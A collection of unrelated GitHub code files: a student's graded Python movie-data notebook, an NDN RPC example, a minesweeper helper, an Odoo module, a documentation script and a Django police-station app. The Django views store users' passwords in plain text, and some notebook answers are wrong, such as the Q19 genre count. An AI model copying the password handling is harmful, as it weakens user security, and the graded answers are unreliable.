'rating': 5.6,\r\n# 'directors': ['Bob Ivy'],\r\n# 'cast': ['Joe Estevez', 'Doug Shanklin', 'Alicia Anne', 'Cloyde Howard']},\r\n# {'title': 'Izu no odoriko',\r\n# 'year': 1967,\r\n# 'duration': 85,\r\n# 'genres': ['Drama'],\r\n# 'rating': 8.4,\r\n# 'directors': ['Hideo Onchi'],\r\n# 'cast': ['Yôko Naitô',\r\n# 'Toshio Kurosawa',\r\n# 'Tatsuyoshi Ehara',\r\n# 'Nobuko Otowa']},\r\n# {'title': 'Things Change',\r\n# 'year': 1988,\r\n# 'duration': 100,\r\n# 'genres': ['Comedy', 'Crime', 'Drama'],\r\n# 'rating': 7.0,\r\n# 'directors': ['David Mamet'],\r\n# 'cast': ['Don Ameche', 'Joe Mantegna', 'Robert Prosky', 'J.J. Johnston']},\r\n# ...]\r\n# ```\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'movies_20220_20230', then display it\r\nmovies_20220_20230 = []\r\nfor value in range(20220,20230):\r\n movie_20220 = movies[value]\r\n movies_20220_20230.append(movie_20220)\r\n\r\nmovies_20220_20230 \r\n \r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q12\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 13:** What is the **number** of movies released so far in the `year` *2023*?\r\n#\r\n# Your outuput must be an **int**.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'num_movies_2023', then display it\r\nnum_movies_2023 = 0\r\nfor value in range(len(movies)):\r\n if movies[value][\"year\"] == 2023:\r\n num_movies_2023 += 1\r\n else :\r\n continue\r\nnum_movies_2023 \r\n\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q13\")\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ### Function 4: `find_specific_movies(movies, keyword)`\r\n#\r\n# Now that we have created this data structure `movies`, we can start doing some fun things with the data!\r\n# We will continue working on this data structure for the next project (P9) as well.\r\n#\r\n# Let us now use this data structure `movies` to create a **search bar** like the one in Netflix!\r\n# **Do not change the below function in any way**.\r\n# This function takes in a keyword like a substring of a title, a genre, or the name of a person, and returns a list of relevant movies with that title, genre, or cast member/director.\r\n#\r\n# **Warning:** As `movies` is very large, the function `find_specific_movies` may take five to ten seconds to run. This is normal and you should not panic if it takes a while to run.\r\n\r\n# + deletable=false editable=false\r\n# DO NOT EDIT OR REDEFINE THIS FUNCTION\r\ndef find_specific_movies(movies, keyword):\r\n \"\"\"\r\n find_specific_movies(movies, keyword) takes a list of movie dictionaries \r\n and a keyword; it returns a list of movies that contain the keyword\r\n in either its title, genre, cast or directors.\r\n \"\"\"\r\n idx = 0\r\n while idx < len(movies):\r\n movie = movies[idx]\r\n # note: \\ enables you split a long line of code into two lines\r\n if (keyword not in movie['title']) and (keyword not in movie[\"genres\"]) \\\r\n and (keyword not in movie[\"directors\"]) and (keyword not in movie[\"cast\"]):\r\n movies.pop(idx)\r\n else:\r\n idx += 1\r\n return movies\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Important:** While it might look as if we are making it easy for you by providing `find_specific_movies`, there is a catch! There is a subtle flaw with the way the function is defined, that will cause you issues in the next two questions. If you can spot this flaw by just observing the definition of `find_specific_movies`, congratulations! Since you are **not** allowed to modify the function definition, you will have to be a little clever with your function arguments to sidestep the flaw with the function definition.\r\n#\r\n# If you don't see anything wrong with the function just yet, don't worry about it. Solve Question 14 and Question 15 as you normally would, and see if you notice anything suspicious about your answers.\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 14:** List all the movies that were directed by *Stanley Kubrick*.\r\n#\r\n# Your answer **must** be a **list** of **dictionaries**.\r\n#\r\n# You **must** answer this question by calling `find_specific_movies` with the keyword `\"Stanley Kubrick\"`.\r\n#\r\n# The `find_specific_movies` function is expected to take around 5 seconds or more to run, so do not panic if it takes so long to run.\r\n#\r\n# Remember that you are **not** allowed to modify the definition of `find_specific_movies`. You will need to cleverly pass arguments to `find_specific_movies` (in both Question 14 and Question 15) to ensure that `movies` does not get modified by the function calls. Take a look at the Lecture Slides ([Mike](https://git.doit.wisc.edu/cdis/cs/courses/cs220/cs220-lecture-material/-/tree/main/s23/Michael_lecture_notes/21_Copying) and [Gurmail](https://git.doit.wisc.edu/cdis/cs/courses/cs220/cs220-lecture-material/-/tree/main/s23/Gurmail_lecture_notes/21_Copying)) from March 22 for more hints. You will have to Restart and Run all your cells to see the correct output after you fix your answer for Question 14 (and Question 15).\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'kubrick_films', then display it\r\nkubrick_films = find_specific_movies(copy.copy(movies), \"Stanley Kubrick\")\r\nkubrick_films\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q14\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 15:** List all the movies that contain the string *Wisconsin* in their `title`.\r\n#\r\n# Your answer **must** be a **list** of **dictionaries**.\r\n#\r\n# You **must** answer this question by calling `find_specific_movies` with the keyword `\"Wisconsin\"`.\r\n#\r\n# **Important Hint:** If you did not notice the flaw with the definition of `find_specific_movies` before, you are likely to have run into an issue with this question. It is likely that you will see that your output for this question is an empty list. To see why this happened, find the value of `len(movies)` and see if it is equal to the value you found earlier.\r\n#\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'wisconsin_movies', then display it\r\nfor value in range(len(movies)):\r\n if \"Wisconsin\" in movies[value][\"title\"]:\r\n wisconsin_movies = find_specific_movies(copy.copy(movies), \"Wisconsin\")\r\n else:\r\n continue\r\n\r\nwisconsin_movies \r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q15\")\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ### Function 5: `bucketize_by_genre(movies)`\r\n#\r\n# We require you to complete the below function to answer the next several questions (this is a **requirement**, and you will **lose points** if you do not implement this function).\r\n\r\n# + tags=[]\r\ndef bucketize_by_genre(movies):\r\n \"\"\"bucketize_by_genre(movies) takes a list of movie dictionaries;\r\n it returns a dict in which each genre is a key and\r\n the value is a list of all movies that contain that genre\"\"\"\r\n blank_dict = {}\r\n for movie in movies:\r\n for genre in movie[\"genres\"]:\r\n if genre not in blank_dict:\r\n blank_dict[genre] = []\r\n blank_dict[genre].append(movie)\r\n else :\r\n blank_dict[genre].append(movie)\r\n return blank_dict\r\n \r\n \r\n \r\n pass # replace with your code\r\n # TODO: initialize a dictionary\r\n # TODO: loop through all movies\r\n # TODO: loop through all genres in this movie\r\n # TODO: if this genre is not a key in our dictionary, set the value associated with this genre to an empty list\r\n # TODO: add the movie to the list associated with this genre\r\n # TODO: return the dictionary\r\n\r\n# + tags=[]\r\n# call the function bucketize_by_genre on 'movies' and store it in the variable 'genre_dict'\r\n# do NOT display the output directly\r\n\r\ngenre_dict = bucketize_by_genre(movies)\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Warning:** You are **not** allowed to call `bucketize_by_genre` more than once on the full list of movies (`movies`) in your notebook. You will **lose points** during manual review if you call `bucketize_by_genre` again on `movies`.\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 16:** How many **unique** movie `genres` are present in the dataset?\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'num_genres', then display it\r\nnum_genres = len(genre_dict)\r\nnum_genres\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q16\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 17:** How many *Romance* movies (i.e. movies with *Romance* as one of their `genres`) do we have in the dataset released **after** the `year` *2017*?\r\n#\r\n# Your output **must** be an **int**. You **must** use the `genre_dict` data structure to answer this question.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'romance_after_2017', then display it\r\nromance_after_2017 = 0\r\nC = genre_dict[\"Romance\"]\r\nfor value in range(len(C)):\r\n if C[value][\"year\"] > 2017:\r\n romance_after_2017 += 1\r\nromance_after_2017\r\n \r\n \r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q17\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 18:** List the `title` of all *Film-Noir* movies (i.e. movies with *Film-Noir* as one of their `genres`) with `rating` **larger** than *8.0* in the dataset.\r\n#\r\n# Your output **must** be a **list** of **strings**. You **must** use the `genre_dict` data structure to answer this question.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'film_noir_movies_above_8', then display it\r\nfilm_noir_movies_above_8 = []\r\nC = genre_dict[\"Film-Noir\"]\r\nfor value in range(len(C)):\r\n if C[value][\"rating\"] > 8.0 :\r\n film_noir_movies_above_8.append(C[value][\"title\"])\r\nfilm_noir_movies_above_8 \r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q18\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 19:** Which movie `genre` does *Blake Lively* play the most?\r\n#\r\n# There is a **unique** `genre` that *Blake Lively* has played the most. You do **not** have to worry about breaking ties.\r\n#\r\n# **Hint:** You can combine the *two* functions above to bucketize the movies that *Blake Lively* has acted in by their `genres`. Then, you can loop through each genre to find the one with the most number of movies in it.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'blake_lively_genre', then display it\r\nblake_movies = find_specific_movies(copy.copy(movies),\"Blake Lively\")\r\nblake_genre = bucketize_by_genre(blake_movies)\r\nblake_lively_genre=\"\"\r\nmax_value=0\r\nfor genre in blake_genre :\r\n if len(genre_dict[genre]) > max_value:\r\n max_value = len(genre_dict[genre])\r\n blake_lively_genre = genre\r\nblake_lively_genre\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q19\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 20:** Who are the `directors` of the *Comedy* movies with the **highest** `rating` in the movies dataset?\r\n#\r\n# There are **multiple** *Comedy* movies in the dataset with the joint highest rating. You **must** output a **list** of **strings** containing the **names** of **all** the `directors` of **all** these movies.\r\n#\r\n# **Hint:** If you are unsure how to efficiently add the elements of one list to another, please review any of the lecture notes from the February 27 lectures ([here](https://canvas.wisc.edu/courses/343490/files/folder/Mikes_Lecture_Notes/lec14_lists) and [here](https://git.doit.wisc.edu/cdis/cs/courses/cs220/cs220-lecture-material/-/tree/main/s23/Gurmail_lecture_notes/14_Lists)).\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'max_comedy_rating_directors', then display it\r\ncomedy_movies = genre_dict[\"Comedy\"]\r\nhighest_rating = 0\r\nmax_comedy_rating_directors=[]\r\nfor movie in comedy_movies: \r\n if movie[\"rating\"] > highest_rating:\r\n highest_rating = movie[\"rating\"]\r\nfor movie in comedy_movies:\r\n if movie[\"rating\"] == highest_rating:\r\n max_comedy_rating_directors = max_comedy_rating_directors + movie[\"directors\"]\r\nmax_comedy_rating_directors\r\n \r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q20\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ## Submission\r\n# Make sure you have run all cells in your notebook in order before running the following cells, so that all images/graphs appear in the output. The following cells will generate a zip file for you to submit.\r\n#\r\n# **SUBMISSION INSTRUCTIONS**:\r\n# 1. **Upload** the zipfile to Gradescope.\r\n# 2. Check **Gradescope otter** results as soon as the auto-grader execution gets completed. Don't worry about the score showing up as -/100.0. You only need to check that the test cases passed.\r\n\r\n# + [code] deletable=false editable=false\r\nfrom IPython.display import display, Javascript\r\ndisplay(Javascript('IPython.notebook.save_checkpoint();'))\r\n\r\n# + [code] deletable=false editable=false\r\n# !jupytext --to py p8.ipynb\r\n\r\n# + [code] deletable=false editable=false\r\ngrader.export(pdf=False, run_tests=True, files=[py_filename])\r\n\r\n# + [markdown] deletable=false editable=false\r\n# \r\n# -\r\n\r\n\r\n\r\n\r\n","repo_name":"jayadityak/Projects","sub_path":"p8/p8.py","file_name":"p8.py","file_ext":"py","file_size_in_byte":36701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1450121635","text":"from typing import Optional\nfrom ndn.app import NDNApp\nfrom ndn.encoding import Name, InterestParam, BinaryStr, FormalName, MetaInfo\nimport logging\n\n\nlogging.basicConfig(format='[{asctime}]{levelname}:{message}',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.INFO,\n style='{')\n\n\napp = NDNApp()\n\n\n@app.route('/example/rpc')\ndef on_interest(name: FormalName, param: InterestParam, app_param: Optional[BinaryStr]):\n app_param = bytes(app_param)\n print(f'>> I: {Name.to_str(name)}, {param}, {app_param}')\n if not app_param:\n print(\"<< No application parameter, dropped\")\n return\n s = sum(int(x) for x in app_param.split())\n content = str(s).encode()\n app.put_data(name, content=content, freshness_period=500)\n print(f'<< D: {Name.to_str(name)}')\n print(MetaInfo(freshness_period=500))\n print(f'Content: {content}')\n print('')\n\n\nif __name__ == '__main__':\n app.run_forever()\n","repo_name":"named-data/python-ndn","sub_path":"examples/rpc_producer.py","file_name":"rpc_producer.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"72"} +{"seq_id":"32763491655","text":"import check\n\n# A MineGrid is a (listof (listof Bool))\n# Requires: All lists are non-empty\n# Each (listof Bool) has the same length \n\n# note: True means mine, False means safe\n\n# A MineBoard is a (listof (listof Str))\n# Requires: Each string is either a mine ('*') hidden(' ')\n# or safe (a digit between '0' and '8')\n# All lists are non-empty\n# Each (listof Str) has the same length\n\n# constants\n\ngrid1x1 = [[True]]\n\ngrid1x3 = [[True,False,True]]\n\ngrid2x2 = [[True,False],\n [False,False]]\n\ngrid3x3 = [[True ,False,False],\n [False,False,False],\n [False,False,True]]\n\ngrid5x6 = [[True ,True,True,False,False,False],\n [True,False,True,False,False,True],\n [True,True,True,True,False,False],\n [False,False,False,False,False,False],\n [True,False,True,False,False,True]]\n\nboard3x3 = [[' ', '1', '0'],\n [' ', '2', '1'],\n [' ', ' ', '*']]\n\n# reveal(grid,board, row, col) reveals the tile at the given row and col(umn)\n# in board, using the mine positions from grid\n# reveal: MineGrid MineBoard -> None\n# requires: grid and board have the same dimensions and are consistent\n# 0 <= row < height of board\n# 0 <= col < width of board\n# effects: board is mutated\n\ndef reveal(grid,board,row,col):\n if grid[row][col]:\n board[row][col] = '*'\n else:\n board[row][col] = str(count_mines(grid,row,col))\n\n# count_mines_area(grid,row,col) returns a list of boolean which represents\n# the booleans nearby the element in grid located at row and col (column) \n# given\n# count_mines_area: MineGrid Nat Nat -> (listof Bool)\n# requires: 0 <= row < height of grid\n# 0 <= col < width of grid\n# Examples:\n# count_mines_area(grid3x3,1,2) => [False, False, False, False, True]\n# count_mines_area(grid3x3,0,0) => [False, False, False]\n\ndef count_mines_area(grid,row,col):\n row_num = len(grid) - 1\n col_num = len(grid[0]) - 1\n if row == 0:\n if col == 0:\n return [grid[0][1]] + grid[1][0:2]\n elif col == col_num:\n return [grid[0][col - 1]] + grid[1][col - 1:col + 1]\n else:\n return [grid[0][col - 1]] + [grid[0][col + 1]] + grid[1]\\\n [col - 1:col + 2]\n elif row == row_num:\n if col == 0:\n return [grid[row][1]] + grid[row - 1][0:2]\n elif col == col_num:\n return [grid[row][col - 1]] + grid[row - 1][col - 1:col + 1] \n else:\n return [grid[row][col - 1]] + [grid[row][col + 1]] +\\\n grid[row - 1][col - 1:col + 2]\n else:\n if col == 0:\n return grid[row - 1][0:2] + grid[row + 1][0:2] + [grid[row][1]] \n elif col == col_num:\n return [grid[row][col - 1]] + grid[row - 1][col - 1:col + 1] +\\\n grid[row + 1][col - 1:col + 1]\n else:\n return [grid[row][col - 1]] + grid[row - 1][col - 1:col + 2] +\\\n grid[row + 1][col - 1:col + 2] + [grid[row][col + 1]]\n\n\n# count_mines(grid,row,col) returns the number of mines around an element in \n# grid which located at row and col (column) given \n# count_mines: MineGrid Nat Nat -> Nat\n# requires: 0 <= row < height of grid\n# 0 <= col < width of grid\n# Examples: \n# count_mines(grid3x3,0,0) => 0\n# count_mines(grid3x3,1,0) => 1\n# count_mines(grid3x3,1,1) => 2\n\ndef count_mines(grid,row,col):\n if len(grid) == 1 and len(grid[0]) == 1:\n return 0\n elif len(grid) == 1:\n if col == 0: return int(grid[0][1])\n elif col == len(grid[0]) - 1: return int(grid[0][-2])\n else: return int(grid[0][col - 1]) + int(grid[0][col + 1])\n else:\n return len(list(filter(lambda x: x == True,count_mines_area\\\n (grid,row,col))))\n\n# Tests:\ncheck.expect(\"test1\",count_mines(grid3x3,0,0),0)\ncheck.expect(\"test2\",count_mines(grid3x3,1,0),1)\ncheck.expect(\"test3\",count_mines(grid3x3,2,0),0)\ncheck.expect(\"test4\",count_mines(grid3x3,0,1),1)\ncheck.expect(\"test5\",count_mines(grid3x3,1,1),2)\ncheck.expect(\"test6\",count_mines(grid3x3,2,1),1)\ncheck.expect(\"test7\",count_mines(grid3x3,0,2),0)\ncheck.expect(\"test8\",count_mines(grid3x3,1,2),1)\ncheck.expect(\"test9\",count_mines(grid3x3,2,2),0)\ncheck.expect(\"test10\",count_mines(grid5x6,4,5),0)\ncheck.expect(\"test11\",count_mines(grid5x6,1,1),8)\ncheck.expect(\"test12\",count_mines(grid5x6,0,0),2)\ncheck.expect(\"test13\",count_mines(grid5x6,3,0),3)\ncheck.expect(\"test14\",count_mines(grid5x6,3,3),3)\ncheck.expect(\"test15\",count_mines(grid2x2,1,0),1)\ncheck.expect(\"test16\",count_mines(grid2x2,0,0),0)\ncheck.expect(\"test17\",count_mines(grid1x1,0,0),0)\ncheck.expect(\"test18\",count_mines(grid1x3,0,1),2)\ncheck.expect(\"test18\",count_mines(grid1x3,0,2),0)\n","repo_name":"WeiningLi/Short_Fun","sub_path":"gamesComponents/mine_sweeper/count_mines.py","file_name":"count_mines.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11086099853","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef priorPoints(x, y, sigma_x, sigma_y):\r\n term1 = 1 / (2 * np.pi * sigma_x * sigma_y)\r\n matrix_terms = np.dot([x, y], np.linalg.inv(\r\n [[sigma_x**2, 0], [0, sigma_y**2]]))\r\n matrix_terms = np.dot(matrix_terms, [x, y])\r\n full_term = term1 * np.exp(-0.5 * matrix_terms)\r\n return full_term\r\n\r\n\r\ndef main():\r\n sigma_x = 0.25\r\n sigma_y = 0.25\r\n x_range = np.linspace(-2, 2, 100)\r\n y_range = np.linspace(-2, 2, 100)\r\n\r\n # Create a meshgrid from the ranges\r\n X, Y = np.meshgrid(x_range, y_range)\r\n\r\n Z = np.zeros_like(X)\r\n for i in range(len(x_range)):\r\n for j in range(len(y_range)):\r\n Z[j, i] = priorPoints(X[j, i], Y[j, i], sigma_x, sigma_y)\r\n\r\n plt.contourf(X, Y, Z, cmap='viridis')\r\n plt.colorbar()\r\n plt.xlabel('x')\r\n plt.ylabel('y')\r\n plt.title(\"MAP Estimation\")\r\n plt.savefig(\"HW22.png\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Michaeltshen/EECE5644","sub_path":"HW3/Question2/HW2_2.py","file_name":"HW2_2.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5907906244","text":"from openerp.osv import orm\nfrom openerp.osv import fields, osv\nimport logging\nfrom openerp.osv import *\nimport datetime\nfrom openerp import SUPERUSER_ID\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\n\nfrom openerp import SUPERUSER_ID\n\n_logger = logging.getLogger(__name__)\n\n\nclass gedoc_document(osv.Model):\n _inherit = 'gedoc.document'\n\n STATE_SELECTION = [\n ('draft', 'Compilazione'),\n ('protocol', 'Da protocollare'),\n ]\n _columns = {\n 'state': fields.selection(STATE_SELECTION, 'Stato', readonly=True,\n help=\"Lo stato del documento.\", select=True)\n }\n\n _defaults = {\n 'state': 'draft',\n }\n\n def _get_user_name(self, cr, uid, *args):\n user_obj = self.pool.get('res.users')\n user_value = user_obj.browse(cr, uid, uid)\n return user_value.login or False\n\n def generate_msg(self, cr, uid, ids, context=None):\n raise osv.except_osv(_(\"Warning!\"), _(\"Inserire un allegato !!.\"))\n\n def richiedi_protocollazione(self, cr, uid, ids, context=None):\n for gedoc in self.browse(cr, uid, ids[0], context):\n # crea l'istanza protocollo\n protocollo_vals = {\n 'subject': gedoc.note_protocollazione,\n 'sender_receivers': [(6, 0, gedoc.sender_receiver_ids.ids)],\n 'typology': gedoc.typology.id,\n 'type': 'out',\n 'doc_id': gedoc.main_doc_id.id,\n 'datas_fname': gedoc.main_doc_id.name,\n 'mimetype': gedoc.main_doc_id.file_type,\n 'datas': gedoc.main_doc_id.datas\n }\n prot_id = self.pool.get(\"protocollo.protocollo\").create(cr, uid,\n protocollo_vals,\n context=None)\n\n # crea attività\n prot = self.pool.get('protocollo.protocollo').browse(cr, uid,\n prot_id)\n user_value = self.pool.get('res.users').browse(cr, uid, uid)\n now = datetime.datetime.now()\n categoria_obj = self.pool.get('attivita.categoria')\n category_ids = categoria_obj.search(cr, uid, [\n ('name', '=', 'Richiesta Protocollazione Documento')])\n if len(category_ids) == 1:\n category = categoria_obj.browse(cr, uid, category_ids[0])\n tempo_esecuzione_attivita = category.tempo_standard\n data_scadenza = now + datetime.timedelta(\n days=tempo_esecuzione_attivita)\n\n users_manager = self.pool.get('res.users').get_users_from_group(cr,\n uid,\n 'Manager protocollo')\n list_ids = list(users_manager.ids)\n list_ids.remove(SUPERUSER_ID)\n assegnatario_id = list_ids[0]\n\n activity_vals = {\n 'name': \"Richiesta protocollazione protocollo num %s da %s \" % (\n prot.name, user_value.login),\n 'descrizione': gedoc.subject,\n 'priorita': '3',\n 'referente_id': prot.user_id.id,\n 'assegnatario_id': assegnatario_id,\n 'state': 'assegnato',\n 'data_scadenza': data_scadenza,\n 'data_assegnazione': now,\n 'data_presa_carico': now,\n 'categoria': category.id,\n 'protocollo_id': prot.id\n }\n self.pool.get(\"attivita.attivita\").create(cr, uid, activity_vals,\n context=None)\n self.write(cr, uid, [gedoc.id], {'state': 'protocol'})\n return True\n\n\nclass sender_receiver(osv.Model):\n _inherit = 'protocollo.sender_receiver'\n","repo_name":"seedoo/seedoo-attivita","sub_path":"seedoo_attivita/model/gedoc.py","file_name":"gedoc.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"12037240712","text":"\"\"\"\nScript to build the feed parsers API reference automatically using the Transiter\nPython code.\n\"\"\"\n\nimport dataclasses\nimport datetime\nimport enum\nimport inspect\nimport typing\n\n\ndef convert_type_to_type_desc(type_, default, plural=False):\n if plural:\n s = \"s\"\n else:\n s = \"\"\n if getattr(type_, \"__origin__\", None) == typing.Union:\n type_ = type_.__args__[0]\n if isinstance(type_, typing.ForwardRef):\n # type_ = type_.__args__[0]\n return f\"Object{s} of type `{type_.__forward_arg__}`.\"\n if getattr(type_, \"__origin__\", None) == list:\n base = convert_type_to_type_desc(\n type_.__args__[0], dataclasses.MISSING, plural=True\n )\n return \"List of \" + base[0].lower() + base[1:]\n if type_ == str:\n return f\"String{s}.\"\n if type_ == int:\n return \"Integer.\"\n if type_ == float:\n return \"Float.\"\n if type_ == bool:\n return \"Boolean.\"\n if type_ == datetime.datetime:\n return (\n \"Datetime object. \"\n \"If no timezone is provided, the importer will add the timezone of the transit system to it.\"\n )\n if type_ == datetime.date:\n return f\"Date object{s}.\"\n if type_ == datetime.time:\n return f\"Time object{s}.\"\n if getattr(type_, \"__fk_type__\", None) is not None:\n return f\"String foreign key reference{s} to the `{type_.__fk_field__}` attribute of the `{type_.__fk_type__.__name__}` class.\"\n\n if issubclass(type_, enum.Enum):\n enum_values = [\"`{}`\".format(e.name) for e in type_]\n result = (\n f\"Enum constant{s} of type `transiter.parse.{type_.__qualname__}`; \"\n f\"admissible values are: {', '.join(enum_values)}.\"\n )\n if default is not dataclasses.MISSING:\n result += f\" Default is `{default.name}`.\"\n return result\n\n raise ValueError\n\n\ndef process(parse_type, f, first):\n # print(parse_type.__doc__)\n lines = []\n lines.extend(\n [\n \"{} {}\".format(\"##\" if first else \"###\", parse_type.__name__),\n \"\",\n inspect.cleandoc(parse_type.__doc__),\n \"\",\n \"Name | Type\",\n \"-----|-----\",\n ]\n )\n for a in dataclasses.fields(parse_type):\n if (\n a.default is dataclasses.MISSING\n and a.default_factory is dataclasses.MISSING\n ):\n star = \"*\"\n else:\n star = \"\"\n\n lines.append(\n \"{}{} | {}\".format(\n a.name, star, convert_type_to_type_desc(a.type, a.default)\n )\n )\n lines.extend([\"\", \"*required\"])\n print(\"\\n\".join(lines), file=f)\n\n\n# process(parse.Route)\n# process(parse.Trip)\n\n\ndef resolve_dependencies(key_to_object):\n key_to_children = {}\n non_root_keys = set()\n for key, object_ in key_to_object.items():\n if not dataclasses.is_dataclass(object_):\n continue\n key_to_children[key] = [key]\n for field in dataclasses.fields(object_):\n # Check that object is of type typing.List\n if getattr(field.type, \"__origin__\", None) != list:\n continue\n contents_type = field.type.__args__[0]\n if not isinstance(contents_type, typing.ForwardRef):\n continue\n child = contents_type.__forward_arg__\n key_to_children[key].append(child)\n non_root_keys.add(child)\n\n for key in sorted(key_to_children.keys()):\n if key in non_root_keys:\n continue\n yield [key_to_object[ancestor] for ancestor in _ancestors(key, key_to_children)]\n\n\ndef _ancestors(root, key_to_children):\n for child in key_to_children[root]:\n if child == root:\n yield child\n continue\n yield from _ancestors(child, key_to_children)\n\n\n# TODO: take the file name as a command line argument\n# TODO: make this relative to the file location\nwith open(\"transiter/parse/types.py\") as f:\n parse = {}\n exec(f.read(), parse)\n\nwith open(\"docs/docs/parser-output-types.md\", \"w\") as f:\n print(parse[\"__doc__\"], file=f)\n\n dependencies = list(resolve_dependencies(parse))\n print(\n f\"Transiter feed parsers can return one of {len(dependencies)} types:\\n\", file=f\n )\n for elements in dependencies:\n print(f\"- [{elements[0].__name__}](#{elements[0].__name__.lower()})\\n\", file=f)\n\n for elements in dependencies:\n first = True\n for element in elements:\n process(element, f, first)\n first = False\n","repo_name":"jamespfennell/transiter-python","sub_path":"docs/parsedoc.py","file_name":"parsedoc.py","file_ext":"py","file_size_in_byte":4565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70560315434","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth import authenticate\nfrom django.contrib import messages\nfrom random import randint, randrange\nfrom .models import *\n# Create your views here.\ndef index(request):\n return render(request,'index.html')\ndef users_login(request):\n msg=\"\"\n if request.POST:\n email=request.POST['email']\n request.session['email']=email\n pass1=request.POST['password']\n user=authenticate(username=email,password=pass1)\n if user is not None:\n if user.user_type=='admin':\n return redirect('/admin-dashboard')\n elif user.user_type=='dgp':\n return redirect('/dgp-dashboard')\n elif user.user_type=='station':\n msg=\"login success\"\n messages.info(request,msg)\n return redirect('/station-dashboard')\n # elif user.user_type=='public':\n # # msg=\"login success\"\n # # messages.info(request,msg)\n # return redirect('/public-dashboard')\n elif user.user_type=='users':\n msg=\"login success\"\n messages.info(request,msg)\n return redirect('/public-dashboard')\n else:\n msg=\"username or password invalid\"\n messages.info(request,msg) \n return render(request,'users_login.html')\n#admin\ndef admin_dashboard(request):\n return render(request,'admin/admin_dashboard.html')\ndef admin_adddgp(request):\n if request.POST:\n firstname=request.POST['fname']\n lastname=request.POST['lname']\n phone=request.POST['phone']\n dgpimage=request.POST.get('dgpimage')\n dgpimg_name=request.FILES['dgpimage']\n job_status=request.POST['job_status']\n office=request.POST['address']\n ofc_district=request.POST['office_district']\n email=request.POST['email']\n password=request.POST['password']\n log_user=Login_Table.objects.create_user(user_type=\"dgp\",view_password=password,password=password,username=email)\n log_user.save()\n add_dgp=Register_dgp.objects.create(fname=firstname,lname=lastname,phone=phone,image=dgpimg_name,job_status=job_status,office_address=office,office_district=ofc_district,email=email,user_login=log_user)\n add_dgp.save()\n return render(request,'admin/admin_adddgp.html')\ndef admin_viewdgp(request):\n dgps=Register_dgp.objects.all()\n return render(request,'admin/admin_viewdgp.html',{\"dgps\":dgps})\n# def admin_updatedgp(request):\n# id=request.GET.get('id')\n# update_obj=Register_dgp.objects.filter(id=id)\n# # print(update_obj)\n# if request.POST:\n# firstname=request.POST['fname']\n# lastname=request.POST['lname']\n# phone=request.POST['phone']\n# dgpimage=request.POST.get('dgpimage')\n# dgpimg_name=request.FILES['dgpimage']\n# job_status=request.POST['job_status']\n# office=request.POST['address']\n# ofc_district=request.POST['office_district']\n# dgp=Register_dgp.objects.get(id=id)\n# dgp.fname=firstname\n# dgp.lname=lastname\n# dgp.phone=phone\n# dgp.image=dgpimg_name\n# dgp.job_status=job_status\n# dgp.office_address=office\n# dgp.office_district=ofc_district\n# dgp.save()\n# return render(request,'admin/admin_updatedgp.html',{'dgp':update_obj})\ndef admin_deletedgp(request):\n id=request.GET.get('id')\n del_obj=Register_dgp.objects.get(id=id).delete()\n return redirect('/admin-viewdgp')\n#dgp\ndef dgp_dashboard(request):\n return render(request,'dgp/dgp_dashboard.html')\ndef dgp_addstation(request):\n if request.POST:\n s_name=request.POST['name']\n s_phone=request.POST['phone']\n s_address=request.POST['address']\n s_email=request.POST['email']\n s_password=request.POST['password']\n dgp_email=request.session['email']\n dgp_obj=Register_dgp.objects.get(email=dgp_email)\n log_user=Login_Table.objects.create_user(user_type=\"station\",view_password=s_password,password=s_password,username=s_email)\n log_user.save()\n add_station=Register_station.objects.create(station_name=s_name,phone=s_phone,office_address=s_address,email=s_email,user_login=log_user,dgp=dgp_obj)\n add_station.save()\n return render(request,'dgp/dgp_addstation.html')\ndef dgp_viewprofile(request):\n 